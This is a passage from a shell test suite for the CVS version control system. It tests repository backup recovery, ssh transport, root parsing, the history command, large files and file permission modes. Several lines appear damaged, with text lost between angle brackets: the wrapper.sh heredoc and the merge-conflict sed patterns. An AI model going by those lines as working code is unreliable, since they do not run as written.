database\"\n\t cd ../..\n\t # Perhaps should restore the umask and CVSUMASK to what they\n\t # were before. But the other tests \"should\" not care about them...\n\t umask 0077\n\t unset CVSUMASK\n\t rm -r ${TESTDIR}/locks\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tbackuprecover)\n\t # Tests to make sure we get the expected behavior\n\t # when we recover a repository from an old backup\n\t #\n\t # Details:\n\t # Backup will be older than some developer's workspaces\n\t #\tThis means the first attempt at an update will fail\n\t #\tThe workaround for this is to replace the CVS\n\t #\t directories with those from a \"new\" checkout from\n\t #\t the recovered repository. Due to this, multiple\n\t #\t merges should cause conflicts (the same data\n\t #\t will be merged more than once).\n\t #\tA workspace updated before the date of the recovered\n\t #\t copy will not need any extra attention\n\t #\n\t # Note that backuprecover-15 is probably a failure case\n\t # If nobody else had a more recent update, the data would be lost\n\t #\tpermanently\n\t # Granted, the developer should have been notified not to do this\n\t #\tby now, but still...\n\t #\n\t mkdir backuprecover; cd backuprecover\n\t mkdir 1; cd 1\n\t dotest backuprecover-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest backuprecover-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t mkdir dir\n\t dotest backuprecover-3 \"${testcvs} add dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir added to the repository\"\n\t touch file1 dir/file2\n\t dotest backuprecover-4 \"${testcvs} -q add file1 dir/file2\" \\\n\"${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest backuprecover-5 \"${testcvs} -q ci -mtest\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir/file2,v\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t echo \"Line one\" >>file1\n\t echo \" is the place\" >>file1\n\t echo \" we like to begin\" >>file1\n\t echo \"Anything else\" >>file1\n\t echo \" looks like\" >>file1\n\t echo \" a sin\" >>file1\n\t echo \"File 2\" >>dir/file2\n\t echo \" is the place\" >>dir/file2\n\t echo \" the rest of it goes\" >>dir/file2\n\t echo \"Why I don't use\" >>dir/file2\n\t echo \" something like 'foo'\" >>dir/file2\n\t echo \" God only knows\" >>dir/file2\n\t dotest backuprecover-6 \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Simulate the lazy developer\n\t # (he did some work but didn't check it in...)\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest backuprecover-7 \"${testcvs} -Q co first-dir\" ''\n\t cd first-dir\n\t sed -e \"s/looks like/just looks like/\" file1 >tmp; mv tmp file1\n\t sed -e \"s/don't use/don't just use/\" dir/file2 >tmp; mv tmp dir/file2\n\n\t # developer 1 is on a roll\n\t cd ../../1/first-dir\n\t echo \"I need some more words\" >>file1\n\t echo \" to fill up this space\" >>file1\n\t echo \" anything else would be a disgrace\" >>file1\n\t echo \"My rhymes cross many boundries\" >>dir/file2\n\t echo \" this time it's files\" >>dir/file2\n\t echo \" a word that fits here would be something like dials\" >>dir/file2\n\t dotest backuprecover-8 \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t # Save a backup copy\n\t cp -r ${CVSROOT_DIRNAME}/first-dir ${CVSROOT_DIRNAME}/backup\n\n\t # Simulate developer 3\n\t cd ../..\n\t mkdir 3; cd 3\n\t dotest backuprecover-9a \"${testcvs} -Q co first-dir\" ''\n\t cd first-dir\n\t echo >>file1\n\t echo >>dir/file2\n\t echo \"Developer 1 makes very lame rhymes\" >>file1\n\t echo \" I think he should quit and become a mime\" >>file1\n\t echo \"What the %*^# kind of rhyme crosses a boundry?\" >>dir/file2\n\t echo \" I think you should quit and get a job in the foundry\" >>dir/file2\n\t dotest backuprecover-9b \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\n\t # Developer 4 so we can simulate a conflict later...\n\t cd ../..\n\t mkdir 4; cd 4\n\t dotest backuprecover-10 \"${testcvs} -Q co first-dir\" ''\n\t cd first-dir\n\t sed -e \"s/quit and/be fired so he can/\" dir/file2 >tmp; mv tmp dir/file2\n\n\t # And back to developer 1\n\t cd ../../1/first-dir\n\t dotest backuprecover-11 \"${testcvs} -Q update\" ''\n\t echo >>file1\n\t echo >>dir/file2\n\t echo \"Oh yeah, well rhyme this\" >>file1\n\t echo \" developer three\" >>file1\n\t echo \" you want opposition\" >>file1\n\t echo \" you found some in me!\" >>file1\n\t echo \"I'll give you mimes\" >>dir/file2\n\t echo \" and foundries galore!\" >>dir/file2\n\t echo \" your head will spin\" >>dir/file2\n\t echo \" once you find what's in store!\" >>dir/file2\n\t dotest backuprecover-12 \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\n\t # developer 3'll do a bit of work that never gets checked in\n\t cd ../../3/first-dir\n\t dotest backuprecover-13 \"${testcvs} -Q update\" ''\n\t sed -e \"s/very/some extremely/\" file1 >tmp; mv tmp file1\n\t dotest backuprecover-14 \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.6; previous revision: 1\\.5\ndone\"\n\t echo >>file1\n\t echo \"Tee hee hee hee\" >>file1\n\t echo >>dir/file2\n\t echo \"Find what's in store?\" >>dir/file2\n\t echo \" Oh, I'm so sure!\" >>dir/file2\n\t echo \" You've got an ill, and I have the cure!\" >>dir/file2\n\n\t # Slag the original and restore it a few revisions back\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t mv ${CVSROOT_DIRNAME}/backup ${CVSROOT_DIRNAME}/first-dir\n\n\t # Have developer 1 try an update and lose some data\n\t #\n\t # Feel free to imagine the horrific scream of despair\n\t cd ../../1/first-dir\n\t dotest backuprecover-15 \"${testcvs} update\" \\\n\"${PROG} update: Updating .\nU file1\n${PROG} update: Updating dir\nU dir/file2\"\n\n\t # Developer 3 tries the same thing (he has an office)\n\t # but fails without losing data since all of his files have\n\t # uncommitted changes\n\t cd ../../3/first-dir\n\t dotest_fail backuprecover-16 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} \\[update aborted\\]: could not find desired version 1\\.6 in ${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\n\t # create our workspace fixin' script\n\t cd ../..\n\t echo \\\n\"#!/bin/sh\n\n# This script will copy the CVS database dirs from the checked out\n# version of a newly recovered repository and replace the CVS\n# database dirs in a workspace with later revisions than those in the\n# recovered repository\ncd repos-first-dir\nDATADIRS=\\`find . -name CVS -print\\`\ncd ../first-dir\nfind . -name CVS -print | xargs rm -rf\nfor file in \\${DATADIRS}; do\n\tcp -r ../repos-first-dir/\\${file} \\${file}\ndone\" >fixit\n\n\t # We only need to fix the workspaces of developers 3 and 4\n\t # (1 lost all her data and 2 has an update date from\n\t # before the date the backup was made)\n\t cd 3\n\t dotest backuprecover-17 \\\n\t\t\"${testcvs} -Q co -d repos-first-dir first-dir\" ''\n\t cd ../4\n\t dotest backuprecover-18 \\\n\t\t\"${testcvs} -Q co -d repos-first-dir first-dir\" ''\n\t sh ../fixit\n\t cd ../3; sh ../fixit\n\n\t # (re)commit developer 3's stuff\n\t cd first-dir\n\t dotest backuprecover-19 \"${testcvs} -q ci -mrecover/merge\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\n\t # and we should get a conflict on developer 4's stuff\n\t cd ../../4/first-dir\n\t dotest backuprecover-20 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.3\nretrieving revision 1\\.4\nMerging differences between 1\\.3 and 1\\.4 into file1\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in file1\nC file1\n${PROG} update: Updating dir\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir/file2,v\nretrieving revision 1\\.3\nretrieving revision 1\\.4\nMerging differences between 1\\.3 and 1\\.4 into file2\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in dir/file2\nC dir/file2\"\n\t sed -e \\\n\"/^<<<<<<>>>>>>/d\" file1 >tmp; mv tmp file1\n\t sed -e \\\n\"/^<<<<<<>>>>>>/d\ns/quit and/be fired so he can/\" dir/file2 >tmp; mv tmp dir/file2\n\t dotest backuprecover-21 \"${testcvs} -q ci -mrecover/merge\" \\\n\"Checking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\n\t # go back and commit developer 2's stuff to prove it can still be done\n\t cd ../../2/first-dir\n\t dotest backuprecover-22 \"${testcvs} -Q update\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.2\nretrieving revision 1\\.4\nMerging differences between 1\\.2 and 1\\.4 into file1\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir/file2,v\nretrieving revision 1\\.2\nretrieving revision 1\\.5\nMerging differences between 1\\.2 and 1\\.5 into file2\"\n\t dotest backuprecover-23 \"${testcvs} -q ci -mtest\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\nChecking in dir/file2;\n${CVSROOT_DIRNAME}/first-dir/dir/file2,v <-- file2\nnew revision: 1\\.6; previous revision: 1\\.5\ndone\"\n\n\t # and restore the data to developer 1\n\t cd ../../1/first-dir\n\t dotest backuprecover-24 \"${testcvs} -Q update\" ''\n\n\t cd ../../..\n\t rm -r backuprecover\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\n\n sshstdio)\n # CVS_RSH=ssh can have a problem with a non-blocking stdio\n # in some cases. So, this test is all about testing :ext:\n # with CVS_RSH=ssh. The problem is that not all machines\n # will necessarily have ssh available, so be prepared to\n # skip this test.\n\n\t # Are we able to run find and use an ssh?\n\t if $remote; then :; else\n\t continue\n\t fi\n\n\t depends_on_ssh\n\t if test $? -eq 77; then\n skip sshstdio \"$skipreason\"\n\t continue\n\t fi\n\n\t SSHSTDIO_ROOT=:ext:$host$CVSROOT_DIRNAME\n\n mkdir sshstdio; cd sshstdio\n dotest sshstdio-1 \"$testcvs -d $SSHSTDIO_ROOT -q co -l .\"\n mkdir first-dir\n dotest sshstdio-2 \"$testcvs add first-dir\" \\\n \"Directory $CVSROOT_DIRNAME/first-dir added to the repository\"\n cd first-dir\n a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n c='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n # Generate 1024 lines of $a\n cnt=0\n echo $a > aaa\n while [ $cnt -lt 5 ] ; do\n cnt=`expr $cnt + 1` ;\n mv aaa aaa.old\n cat aaa.old aaa.old aaa.old aaa.old > aaa\n done\n dotest sshstdio-3 \"$testcvs -q add aaa\" \\\n\"$PROG add: use .$PROG commit. to add this file permanently\"\n dotest sshstdio-4 \"$testcvs -q ci -mcreate aaa\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/aaa,v\ndone\nChecking in aaa;\n$CVSROOT_DIRNAME/first-dir/aaa,v <-- aaa\ninitial revision: 1\\.1\ndone\"\n # replace lines 1, 512, 513, 1024 with $c\n sed 510q < aaa > aaa.old\n (echo $c; cat aaa.old; echo $c; \\\n echo $c; cat aaa.old; echo $c) > aaa\n dotest sshstdio-5 \"$testcvs -q ci -mmodify-it aaa\" \\\n\"Checking in aaa;\n$CVSROOT_DIRNAME/first-dir/aaa,v <-- aaa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n cat > wrapper.sh <&1 < /dev/null | cat\nEOF\n chmod +x wrapper.sh\n ./wrapper.sh \\\n $testcvs -z5 -Q diff --side-by-side -W 500 -r 1.1 -r 1.2 \\\n aaa \\\n\t |sed -e \\\n'/^Write failed flushing stdout buffer\\.\r$/d;\n /^write stdout: Broken pipe\r$/d;\n :retry;\n /Write failed flushing stdout buffer\\.\r$/{\n\tN;\n\ts/Write failed flushing stdout buffer\\.\r\\n//;\n\tb retry;\n}\n /write stdout: Broken pipe\r$/{\n\tN;\n\ts/write stdout: Broken pipe\r\\n//;\n\tb retry;\n}' \\\n > wrapper.dif\n \n $testcvs -z5 -Q diff --side-by-side -W 500 -r 1.1 -r 1.2 \\\n aaa > good.dif\n \n dotest sshstdio-6 \"cmp wrapper.dif good.dif\"\n\n if $keep; then\n echo Keeping $TESTDIR and exiting due to --keep\n exit 0\n fi\n \n cd ../..\n CVS_RSH=$save_CVS_RSH; export CVS_RSH\n rm -r sshstdio\n rm -rf $CVSROOT_DIRNAME/first-dir\n ;;\n\n\n\n\tparseroot2)\n\t # Test some :ext: roots for consistancy.\n\t if $remote; then :; else\n\t continue\n\t fi\n\n\t depends_on_rsh \"$CVS_RSH\"\n\t if test $? -eq 77; then\n\t skip parseroot2 \"$skipreason\"\n\t continue\n\t fi\n\n\t # Test checking out and subsequently updating with some different\n\t # CVSROOTs.\n\n\t # A standard case, hostname:dirname.\n\t mkdir parseroot2; cd parseroot2\n\t save_CVSROOT=$CVSROOT\n\t CVSROOT=$host:$CVSROOT_DIRNAME\n\t dotest parseroot2-1 \"$testcvs -Q co CVSROOT\"\n\t cd CVSROOT\n\t dotest parseroot2-2 \"$testcvs -Q up\"\n\t cd ..\n\n\t # A degenerate remote case, just the server name and the directory\n\t # name, with no :'s to help parsing. It can be mistaken for a\n\t # relative directory name.\n\t rm -r CVSROOT\n\t CVSROOT=$host$CVSROOT_DIRNAME\n\t dotest parseroot2-3 \"$testcvs -Q co CVSROOT\"\n\t cd CVSROOT\n\t dotest parseroot2-4 \"$testcvs -Q up\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n \n\t cd ../..\n\t CVSROOT=$save_CVSROOT\n\t rm -r parseroot2\n\t ;;\n\n\n\n\thistory)\n\t # CVSROOT/history tests:\n\t # history: various \"cvs history\" invocations\n\t # basic2: Generating the CVSROOT/history file via CVS commands.\n\n\t # Put in some data for the history file (discarding what was\n\t # there before). Note that this file format is fixed; the\n\t # user may wish to analyze data from a previous version of\n\t # CVS. If we phase out this format, it should be done\n\t # slowly and carefully.\n\t cat >${CVSROOT_DIRNAME}/CVSROOT/history </*0|ccvs||ccvs\nO3396c677|anonymous|/src|ccvs||src\nO3397c677|kingdon|/*0|ccvs||ccvs\nM339cafae|nk||ccvs/src|1.229|sanity.sh\nM339cafff|anonymous||ccvs/src|1.23|Makefile\nM339dc339|kingdon|~/work/*0|ccvs/src|1.231|sanity.sh\nW33a6eada|anonymous|*4|ccvs/emx||Makefile.in\nC3b235f50|kingdon||ccvs/emx|1.3|README\nM3b23af50|kingdon|~/work/*0|ccvs/doc|1.281|cvs.texinfo\nEOF\n\t dotest history-1 \"${testcvs} history -e -a\" \\\n\"O 1997-06-04 19:48 ${PLUS}0000 anonymous ccvs =ccvs= /\\*\nO 1997-06-05 14:00 ${PLUS}0000 anonymous ccvs =src= /\\*\nM 1997-06-10 01:38 ${PLUS}0000 anonymous 1\\.23 Makefile ccvs/src == \nW 1997-06-17 19:51 ${PLUS}0000 anonymous Makefile\\.in ccvs/emx == /emx\nO 1997-06-06 08:12 ${PLUS}0000 kingdon ccvs =ccvs= /\\*\nM 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nC 2001-06-10 11:51 ${PLUS}0000 kingdon 1\\.3 README ccvs/emx == \nM 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs\\.texinfo ccvs/doc == ~/work/ccvs/doc\nM 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity\\.sh ccvs/src == \"\n\n\t dotest history-2 \"${testcvs} history -e -a -D '10 Jun 1997 13:00 UT'\" \\\n\"W 1997-06-17 19:51 ${PLUS}0000 anonymous Makefile\\.in ccvs/emx == /emx\nM 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nC 2001-06-10 11:51 ${PLUS}0000 kingdon 1\\.3 README ccvs/emx == \nM 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs\\.texinfo ccvs/doc == ~/work/ccvs/doc\"\n\n\t dotest history-3 \"${testcvs} history -e -a -D '10 Jun 2001 13:00 UT'\" \\\n\"M 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs\\.texinfo ccvs/doc == ~/work/ccvs/doc\"\n\n\t dotest history-4 \"${testcvs} history -ac sanity.sh\" \\\n\"M 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nM 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity\\.sh ccvs/src == \"\n\n\t dotest history-5 \"${testcvs} history -a -xCGUWAMR README sanity.sh\" \\\n\"M 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nC 2001-06-10 11:51 ${PLUS}0000 kingdon 1\\.3 README ccvs/emx == \nM 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity\\.sh ccvs/src == \"\n\n\t dotest history-6 \"${testcvs} history -xCGUWAMR -a -f README -f sanity.sh\" \\\n\"M 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nC 2001-06-10 11:51 ${PLUS}0000 kingdon 1\\.3 README ccvs/emx == \nM 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity\\.sh ccvs/src == \"\n\n\t dotest history-7 \"${testcvs} history -xCGUWAMR -a -f sanity.sh README\" \\\n\"M 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity\\.sh ccvs/src == ~/work/ccvs/src\nC 2001-06-10 11:51 ${PLUS}0000 kingdon 1\\.3 README ccvs/emx == \nM 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity\\.sh ccvs/src == \"\n\n\t dotest history-8 \"${testcvs} history -ca -D '1970-01-01 00:00 UT'\" \\\n\"M 1997-06-10 01:36 ${PLUS}0000 nk 1\\.229 sanity.sh ccvs/src == \nM 1997-06-10 01:38 ${PLUS}0000 anonymous 1\\.23 Makefile ccvs/src == \nM 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity.sh ccvs/src == ~/work/ccvs/src\nM 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs.texinfo ccvs/doc == ~/work/ccvs/doc\"\n\n\t dotest history-9 \"${testcvs} history -acl\" \\\n\"M 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs.texinfo ccvs/doc == ~/work/ccvs/doc\nM 1997-06-10 01:38 ${PLUS}0000 anonymous 1\\.23 Makefile ccvs/src == \nM 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity.sh ccvs/src == ~/work/ccvs/src\"\n\n\t dotest history-10 \"${testcvs} history -lca -D '1970-01-01 00:00 UT'\" \\\n\"M 2001-06-10 17:33 ${PLUS}0000 kingdon 1\\.281 cvs.texinfo ccvs/doc == ~/work/ccvs/doc\nM 1997-06-10 01:38 ${PLUS}0000 anonymous 1\\.23 Makefile ccvs/src == \nM 1997-06-10 21:12 ${PLUS}0000 kingdon 1\\.231 sanity.sh ccvs/src == ~/work/ccvs/src\"\n\n\t dotest history-11 \"${testcvs} history -aw\" \\\n\"O 1997-06-04 19:48 ${PLUS}0000 anonymous ccvs =ccvs= /\\*\nO 1997-06-05 14:00 ${PLUS}0000 anonymous ccvs =src= /\\*\nO 1997-06-06 08:12 ${PLUS}0000 kingdon ccvs =ccvs= /\\*\"\n\n\t dotest history-12 \"${testcvs} history -aw -D'1970-01-01 00:00 UT'\" \\\n\"O 1997-06-04 19:48 ${PLUS}0000 anonymous ccvs =ccvs= /\\*\nO 1997-06-05 14:00 ${PLUS}0000 anonymous ccvs =src= /\\*\nO 1997-06-06 08:12 ${PLUS}0000 kingdon ccvs =ccvs= /\\*\"\n\t ;;\n\n\tbig)\n\n\t # Test ability to operate on big files. Intention is to\n\t # test various realloc'ing code in RCS_deltas, rcsgetkey,\n\t # etc. \"big\" is currently defined to be 1000 lines (64000\n\t # bytes), which in terms of files that users will use is not\n\t # large, merely average, but my reasoning is that this\n\t # should be big enough to make sure realloc'ing is going on\n\t # and that raising it a lot would start to stress resources\n\t # on machines which run the tests, without any significant\n\t # benefit.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest big-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t for i in 0 1 2 3 4 5 6 7 8 9; do\n\t for j in 0 1 2 3 4 5 6 7 8 9; do\n\t for k in 0 1 2 3 4 5 6 7 8 9; do\n\t\techo \\\n\"This is line ($i,$j,$k) which goes into the file file1 for testing\" >>file1\n\t done\n\t done\n\t done\n\t dotest big-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest big-3 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\t mkdir 2\n\t cd 2\n\t dotest big-4 \"${testcvs} -q get first-dir\" \"U first-dir/file1\"\n\t cd ../first-dir\n\t echo \"add a line to the end\" >>file1\n\t dotest big-5 \"${testcvs} -q ci -m modify\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../2/first-dir\n\t # The idea here is particularly to test the Rcs-diff response\n\t # and the reallocing thereof, for remote.\n\t dotest big-6 \"${testcvs} -q update\" \"[UP] file1\"\n\t cd ../..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r first-dir 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmodes)\n\t # Test repository permissions (CVSUMASK and so on).\n\t # Although the tests in this section \"cheat\" by testing\n\t # repository permissions, which are sort of not a user-visible\n\t # sort of thing, the modes do have user-visible consequences,\n\t # such as whether a second user can check out the files. But\n\t # it would be awkward to test the consequences, so we don't.\n\n\t # Solaris /bin/sh doesn't support export -n. I'm not sure\n\t # what we can do about this, other than hope that whoever\n\t # is running the tests doesn't have CVSUMASK set.\n\t #export -n CVSUMASK # if unset, defaults to 002\n\n\t umask 077\n\t mkdir 1; cd 1\n\t dotest modes-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest modes-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch aa\n\t dotest modes-3 \"${testcvs} add aa\" \\\n\"${PROG} add: scheduling file .aa. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest modes-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa,v\ndone\nChecking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\"\n\t # Yawn. Cygwin.\n\t if test -n \"$remotehost\"; then\n\t dotest modes-5remotehost \"$CVS_RSH $remotehost 'ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v'\" \\\n\"-r--r--r-- .*\"\n\t else\n\t dotest modes-5 \"ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v\" \\\n\"-r--r--r-- .*\"\n\t fi\n\n\t # Test for whether we can set the execute bit.\n\t chmod +x aa\n\t echo change it >>aa\n\t dotest modes-6 \"${testcvs} -q ci -m set-execute-bit\" \\\n\"Checking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t # If CVS let us update the execute bit, it would be set here.\n\t # But it doesn't, and as far as I know that is longstanding\n\t # CVS behavior.\n\t #\n\t # Yeah, yeah. Search for \"Cygwin\".\n\t if test -n \"$remotehost\"; then\n\t dotest modes-7remotehost \"$CVS_RSH $remotehost 'ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v'\" \\\n\"-r--r--r-- .*\"\n\t else\n\t dotest modes-7 \"ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v\" \\\n\"-r--r--r-- .*\"\n\t fi\n\n\t # OK, now manually change the modes and see what happens.\n\t #\n\t # Cygwin, already.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod g=r,o= ${CVSROOT_DIRNAME}/first-dir/aa,v\"\n\t else\n\t chmod g=r,o= ${CVSROOT_DIRNAME}/first-dir/aa,v\n\t fi\n\t echo second line >>aa\n\t dotest modes-7a \"${testcvs} -q ci -m set-execute-bit\" \\\n\"Checking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t # Cygwin.\n\t if test -n \"$remotehost\"; then\n\t dotest modes-7bremotehost \"$CVS_RSH $remotehost 'ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v'\" \\\n\"-r--r----- .*\"\n\t else\n\t dotest modes-7b \"ls -l ${CVSROOT_DIRNAME}/first-dir/aa,v\" \\\n\"-r--r----- .*\"\n\t fi\n\n\t CVSUMASK=007\n\t export CVSUMASK\n\t touch ab\n\t # Might as well test the execute bit too.\n\t chmod +x ab\n\t dotest modes-8 \"${testcvs} add ab\" \\\n\"${PROG} add: scheduling file .ab. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest modes-9 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/ab,v\ndone\nChecking in ab;\n${CVSROOT_DIRNAME}/first-dir/ab,v <-- ab\ninitial revision: 1\\.1\ndone\"\n\t if $remote; then\n\t # The problem here is that the CVSUMASK environment variable\n\t # needs to be set on the server (e.g. .bashrc). This is, of\n\t # course, bogus, but that is the way it is currently.\n\t if test -n \"$remotehost\"; then\n\t dotest modes-10remotehost \"$CVS_RSH $remotehost 'ls -l ${CVSROOT_DIRNAME}/first-dir/ab,v'\" \\\n\"-r--r--r--.*\"\n\t else\n\t dotest modes-10r \"ls -l ${CVSROOT_DIRNAME}/first-dir/ab,v\" \\\n\"-r-xr-x---.*\" \"-r-xr-xr-x.*\"\n\t fi\n\t else\n\t dotest modes-10 \"ls -l ${CVSROOT_DIRNAME}/first-dir/ab,v\" \\\n\"-r-xr-x---.*\"\n\t fi\n\n\t # OK, now add a file on a branch. Check that the mode gets\n\t # set the same way (it is a different code path in CVS).\n\t dotest modes-11 \"${testcvs} -q tag -b br\" 'T aa\nT ab'\n\t dotest modes-12 \"$testcvs -q update -r br\" \\\n'[UP] aa\nU ab'\n\t touch ac\n\t dotest modes-13 \"${testcvs} add ac\" \\\n\"${PROG} add: scheduling file .ac. for addition on branch .br.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # Not sure it really makes sense to refer to a \"previous revision\"\n\t # when we are just now adding the file; as far as I know\n\t # that is longstanding CVS behavior, for what it's worth.\n\t dotest modes-14 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/ac,v\ndone\nChecking in ac;\n${CVSROOT_DIRNAME}/first-dir/Attic/ac,v <-- ac\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t if $remote; then\n\t # The problem here is that the CVSUMASK environment variable\n\t # needs to be set on the server (e.g. .bashrc). This is, of\n\t # course, bogus, but that is the way it is currently. The\n\t # first match is for the :ext: method (where the CVSUMASK\n\t # won't be set), while the second is for the :fork: method\n\t # (where it will be).\n\t if test -n 